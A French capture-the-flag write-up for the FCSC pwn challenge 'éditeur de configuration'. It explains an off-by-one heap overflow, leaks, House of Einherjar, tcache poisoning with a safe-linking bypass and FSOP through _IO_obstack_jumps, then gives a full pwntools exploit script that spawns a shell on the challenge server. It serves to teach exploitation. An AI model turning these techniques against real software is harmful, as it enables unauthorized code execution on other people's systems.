📝 Challenge Description
Ce logiciel d’édition de configuration a quelques soucis… Saurez-vous en faire bon usage ?
Catégorie: 💥 Pwn
Difficulté: ⭐⭐⭐
Protections: Full RelRO, NX, Canary, PIE, Stripped
🚀 TL;DR
- Exploiter un one-byte overflow dans la fonction de modification
- Leak des adresses du tas et de la libc
- Utilisation de la technique House of Einherjar pour corrompre la tcache
- Tcache poisoning pour réécrire stdout (FSOP)
- Exécution d’un shell via la technique peu connue obstack_overflow
🔍 Analyse du binaire
Le binaire est un simple éditeur de configuration présentant un menu avec différentes options:
- Importer une configuration
- Modifier des entrées (ajouter/supprimer/éditer)
- Quitter
C’est un menu qu’on retrouve dans les challenges Heap Based classique
Une ligne de configuration admet la structure suivante :
0x55555555a790 0x0000000000000000 0x0000000000000031 A.......1.......
0x55555555a7a0 0x000055555555a7f0 0x000055555555a7d0 ..UUUU....UUUU..
0x55555555a7b0 0x0000000000000011 0x000055555555a730 ........0.UUUU..
0x55555555a7c0 0x000055555555a810
addr_buffer_valeur addr_buffer_clef
taille_valeur addr_ligne_conf_fd
addr_ligne_conf_bk
En analysant le code, on découvre une vulnérabilité dans la fonction de modification : elle copie n+1 caractères au lieu de n, permettant un overflow d’un octet. Cette attaque est nommée Off-By-One Overflow. Pour les interressés il existe un document qui présente plusieurs attaques à mettre en place : “https://github.com/bash-c/slides/blob/master/pwn_heap/Glibc%20Adventures:%20The%20forgotten%20chunks.pdf"
La partie la plus intéressante réside dans la fonction de modification
...
if (buf[2] < new_lchunk[2]) {
new_ptr = realloc(*buf,(size_t)new_lchunk[2]);
*buf = new_ptr;
buf[2] = (void *)((long)new_lchunk[2] + 1);
}
memset(*buf,0,(long)new_lchunk[2] + 1);
memcpy(*buf,*new_lchunk,(size_t)new_lchunk[2]);
ret = 0;
...
Cette vulnérabilité d’un octet peut sembler minime, mais est suffisante pour exploiter ce binaire.
💻 Stratégie d’exploitation
1. 🔎 Leaks
Première étape: obtenir des adresses du tas et de la libc:
# Créer une configuration avec des chunks de tailles différentes
conf = b"elo=" + b"A"*0x500 + b"\nteam=BBBB\nname=" + b"C"*100 + b"\n" + b"level=G\n"
import_conf(conf)
# Libérer et réallouer des chunks pour obtenir des leaks
del_entry(b"name")
add_entry(b"name", b"\x00"*100)
# Récupérer l'adresse du tas
p.sendline(b"2")
p.recvuntil(b"name = ")
heap = (u64(p.recvline().rstrip().ljust(8,b"\x00")) << 12)
p.sendline(b"4")
# Même technique pour la libc
del_entry(b"elo")
add_entry(b"team", b"\x00"*0x500)
p.recvuntil(b"team = ")
libc.address = u64(p.recvline().rstrip().ljust(8,b"\x00")) - 0x21ace0
2. 🏗️ House of Einherjar
Pour résumer la technique du House of Einherjar : elle consiste à allouer 3 chunks (A, B, C) (+1 garde pour éviter la consolidation avec le top chunk). Le chunk B sera “pris en sandwich” entre le chunk A et C. C va se consolider avec A et va donc former un chunk dans l’unsorted bin qui va “recouvrir” le chunk B (chunk overlapping). Pour ce faire nous allons clear le champ prev_size et prev_inuse de C pour lui “faire croire” que le chunk précédent est A et va pouvoir fusionner avec. Ensuite On libère B pour pouvoir demander le chunk fusionné et pouvoir écrire sur le pointeur B->fd
Cette technique permet d’exploiter notre one-byte overflow pour créer un fake chunk et manipuler le tcache:
# Préparer le terrain avec des allocations spécifiques
conf = b"level=" + b"P"*0x500 + b"\n" + b"elo=" + b"O"*0x3f0 + b"\n" + b"team=" + b"V"*0x500 + b"\n"
import_conf(conf)
# Gérer la disposition des chunks sur le tas
add_entry(b"level", b"P"*0x500)
add_entry(b"name", b"Q"*0x3e0)
add_entry(b"elo", b"O"*0x3d0)
add_entry(b"team", b"A"*0x500)
add_entry(b"token", b"G"*0x400)
# Création d'un fake chunk en utilisant le one-byte overflow
# Modification progressive de "level" pour forger notre chunk
modify_entry(b"level",b"P"*0x18 + p64(heap))
# [autres modifications...]
3. ☠️ Tcache Poisoning
Une fois que nous avons corrompu la tcache, nous pouvons l’utiliser pour obtenir des écritures arbitraires :
# Provoquer la consolidation pour exploiter notre fake chunk
del_entry(b"name")
del_entry(b"team")
# À partir d'ici, nous pouvons allouer où nous voulons
# Lecture et écriture sur stdout
mangled_stack_leak = (stdout+0xe0) ^ ((heap+0x510) >> 12) # bypass du safe linking (voir : https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L349)
add_entry(b"name", cyclic_find("uaam")*b"P" + p64(mangled_stack_leak))
4. 📊 File Stream Oriented Programming (FSOP)
Nous allons réécrire la structure _IO_FILE
de stdout pour détourner l’exécution. Cette technique est inspirée de l’article BabyFile: exploiting _IO_obstack_jumps
add_entry(b"team", p64(heap+0x11f0) + b"\x00"*(0x3e7-0x8))
# Construction d'une structure obstack pour notre payload
class obstack:
chunkfun = 56
extra_arg = 56+16
use_extra_arg = 56+16+8
# Configuration de notre structure obstack pour exécuter system("/bin/sh")
modify_entry(b"token", b"P"*obstack.extra_arg + p64(binsh))
modify_entry(b"token", b"P"*obstack.chunkfun + p64(system))
5. 🎯 Exécution
La dernière étape consiste à écraser la vtable de stdout pour pointer vers obstack_overflow-0x38 qui va utilser la “vtable” fournie dans notre fausse structure obstack. Lorsque “puts” va appeler “__GI__IO_file_xsputn” (__GI__IO_file_jumps+0x38), l’appel sera redirigé vers obstack_overflow executant alors toute la chaine d’exploit
mangled_stack_leak = (stdout+0xd0) ^ ((heap+0x8f0) >> 12)
add_entry(b"name", cyclic(n) + p64(mangled_stack_leak) + b"\x00"*(0x600-8-n))
add_entry(b"team", b"P"*0x8 + p64(obstack_overflow-0x38) + b"\x00"*(0x3d7-0x10))
Lorsque le programme essaie d’écrire sur stdout, notre payload est exécuté et nous obtenons un shell.
PS : j’ai rajouté du bruteforce car les offsets de la structure “tcache_pethread_struct” qui délimite le début du tas étaient randomizés à chaque exécution car le binaire était lancé sur un noyau durci
📋 Script d’exploitation complet
#!/usr/bin/env python3
from pwn import *
import time
elf = ELF("./editeur-de-configuration_patched")
libc = ELF("./libc.so.6")
context.binary = elf
def menu():
p.recvuntil(b"> ")
def import_conf(config):
menu()
p.sendline(b"1")
p.sendlineafter(b"> ",b"[PLAYER]")
p.sendline(config)
def quit():
menu()
p.sendline(b"3")
def del_entry(entry):
menu()
p.sendline(b"2")
menu()
p.sendline(b"2")
p.sendline(entry)
menu()
p.sendline(b"4")
def add_entry(entry, value):
menu()
p.sendline(b"2")
menu()
p.sendline(b"1")
p.sendline(entry + b"=" + value)
menu()
p.sendline(b"4")
def modify_entry(entry, value):
menu()
p.sendline(b"2")
menu()
p.sendline(b"3")
p.sendline(entry + b"=" + value)
menu()
p.sendline(b"4")
def exploit():
global p
p = remote("chall.fcsc.fr", 2103)
# LEAKS
conf = b"elo=" + b"A"*0x500 + b"\nteam=BBBB\nname=" + b"C"*100 + b"\n" + b"level=G\n"
import_conf(conf)
del_entry(b"name")
add_entry(b"name", b"\x00"*100)
p.sendline(b"2")
p.recvuntil(b"name = ")
heap = (u64(p.recvline().rstrip().ljust(8,b"\x00")) << 12)
p.sendline(b"4")
del_entry(b"elo")
add_entry(b"team", b"\x00"*0x500)
p.recvuntil(b"team = ")
libc.address = u64(p.recvline().rstrip().ljust(8,b"\x00")) - 0x21ace0
del_entry(b"name")
del_entry(b"level")
for i in range(2):
del_entry(b"team")
conf = b"level=" + b"P"*0x500 + b"\n" + b"elo=" + b"O"*0x3f0 + b"\n" + b"team=" + b"V"*0x500 + b"\n"
import_conf(conf)
# House of Einherjar Heap Feng Shui
add_entry(b"level", b"P"*0x500)
add_entry(b"name", b"Q"*0x3e0)
add_entry(b"elo", b"O"*0x3d0)
add_entry(b"team", b"A"*0x500)
add_entry(b"token", b"G"*0x400)
# Forging fake chunk
for i in range(1,18):
modify_entry(b"level",b"P"*(0x30-i))
index = 0x1760
heap = heap + index
modify_entry(b"level",b"P"*(0x18+7))
modify_entry(b"level",b"P"*0x18 + p64(heap))
modify_entry(b"level",b"P"*(0x10+7))
modify_entry(b"level",b"P"*0x10 + p64(heap))
for i in range(1,9):
modify_entry(b"level",b"P"*(0x10-i))
modify_entry(b"level",b"P"*0x8 + p16(0xcd0))
# clearing prev_inuse et setting prev_size
modify_entry(b"elo",b"O"*0x3d8)
for i in range(1,9):
modify_entry(b"elo",b"O"*(0x3d8-i))
modify_entry(b"elo",b"O"*0x3d0 + p16(0xcd0))
# create valid chunk (nextchunk)
for i in range(1, 8):
modify_entry(b"team",b"A"*(0x500-i))
# consolidation
del_entry(b"name")
del_entry(b"team")
print("[*] Consolidation : OK")
obstack_overflow = libc.address + 0x2173d8
stdout = libc.symbols._IO_2_1_stdout_
binsh = next(libc.search(b"/bin/sh"))
system = libc.symbols.system
print(hex(heap))
print(hex(libc.address))
mangled_stack_leak = (stdout+0xe0) ^ ((heap+0x510) >> 12)
add_entry(b"name", cyclic_find("uaam")*b"P" + p64(mangled_stack_leak))
add_entry(b"team", b"\x00"*0x3e7) # _
add_entry(b"team", p64(heap+0x11f0) + b"\x00"*(0x3e7-0x8))
print("[*] Overwritting stdout : OK")
# OBSTACK FORGING
class obstack:
chunkfun = 56
extra_arg = 56+16
use_extra_arg = 56+16+8
for i in range(1, 9):
modify_entry(b"token", b"P"*(obstack.use_extra_arg+8-i))
modify_entry(b"token", b"P"*obstack.use_extra_arg + p8(True))
for i in range(1, 9):
modify_entry(b"token", b"P"*(obstack.use_extra_arg-i))
modify_entry(b"token", b"P"*obstack.extra_arg + p64(binsh))
modify_entry(b"token", b"D"*(7*8+7))
modify_entry(b"token", b"P"*obstack.chunkfun + p64(system))
print("[*] Creating Obstack Struct Chunk : OK")
# replace vtable to trigger /bin/sh
del_entry(b"elo")
n=cyclic_find("vaahwaah")
mangled_stack_leak = (stdout+0xd0) ^ ((heap+0x8f0) >> 12)
n = cyclic_find("zaaibaai")
add_entry(b"name", cyclic(n) + p64(mangled_stack_leak) + b"\x00"*(0x600-8-n))
add_entry(b"team", b"\x00"*0x3d7) # _
add_entry(b"team", b"P"*0x8 + p64(obstack_overflow-0x38) + b"\x00"*(0x3d7-0x10))
print("[*] Overwritting stdout by system : OK")
return True
for attempt in range(1, 4096):
try:
print(f"[*] Attempt {attempt}...")
if exploit():
print(f"[+] Exploit succeeded on attempt {attempt}!")
p.interactive()
break
except Exception as e:
print(f"[-] Attempt {attempt} failed: {e}")
try:
p.close()
except:
pass